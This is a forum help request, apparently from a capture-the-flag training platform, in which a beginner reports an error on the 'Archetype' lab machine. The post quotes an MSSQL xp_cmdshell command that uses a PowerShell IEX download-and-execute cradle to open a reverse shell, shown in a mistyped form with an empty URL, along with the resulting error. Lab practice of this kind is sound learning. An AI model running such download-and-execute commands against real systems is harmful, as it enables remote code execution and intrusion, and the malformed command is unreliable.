Archetype: New-ObjectNet.WebClient Error Message

edited April 14 in Machines

Hi All

All initial steps on Archetype went smoothly, and I checked the walkthrough to make sure I was on-track, but then after getting mysql login, I tried using xp_cmdshell "powershell "IEX (New-ObjectNet.WebClient).DownloadString(\"\");" to get a reverse shell (IP & ports are correct, web server and nc are started in same folder as .ps1 script etc).

Initially (the first ten or so attempts) I would get no error, just a new SQL> line prompt but no activity on the web server or nc. I then tried different powershell scripts but no luck with those either, so went back to the walkthrough script and restarted my Kali machine, installed ufw and set exceptions for 80 & 443 and tried the process again from scratch, this time getting the following error (also tried adding an extra closing parentheses but no difference):

New-ObjectNet.WebClient : The term 'New-ObjectNet.WebClient' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

At line:1 char:6

  • IEX (New-ObjectNet.WebClient).DownloadString(" ...

  • ~~~~~~~

    • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) [], CommandNotFoundException

    • FullyQualifiedErrorId : CommandNotFoundException


I've searched the forums and found someone with the same issue but no details of if/how it was resolved.

I know it's a noob question but I've tried everything I can think of to get it working and it just won't. I'd like to complete it before I move on to the next box so if anybody can help it would be very much appreciated!



Sign In to comment.